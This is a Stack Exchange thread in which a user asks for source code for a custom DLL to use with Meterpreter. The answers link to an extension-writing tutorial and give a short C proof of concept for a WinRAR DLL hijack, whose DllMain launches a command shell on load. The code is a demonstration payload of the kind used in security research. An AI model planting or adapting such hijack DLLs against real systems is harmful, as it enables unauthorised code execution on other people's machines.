Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

A simple custom DLL source would be sufficient. All of the links I find on Google are dead. I don't mind reading some clear source if there's a tutorial DLL floating about.

I tried for meterpreter and custom-payload tags... sadly no dice.

share|improve this question
up vote 2 down vote accepted

Here is a slightly outdated but good set of information on making extensions:

https://www.scriptjunkie.us/2011/08/writing-meterpreter-extensions/

share|improve this answer
    
@Simon will do in the future, but in this one instance the question was looking for a tutorial – mubix Sep 3 '14 at 14:21
  1. There is a sample DLL, either 'good' one and 'bad' one, including source, binary and full-blown example. http://seclists.org/fulldisclosure/2010/Sep/22

  2. There is a more straight-forward example for WinRAR DLL hijack: \

 #include "stdafx.h"

#include "stdlib.h" int g4h() { WinExec("cmd", SW_SHOW); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { g4h(); return TRUE; }

Enjoy!

share|improve this answer
    
thx. i wound up having someone on IRC send me a link to one of mubix's articles. it doesn't inject directly into memory...as in it requires upload first, but it's a starting point – RobotHumans Nov 20 '11 at 9:58
    
I +1'd the post btw – RobotHumans Nov 30 '11 at 14:12

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.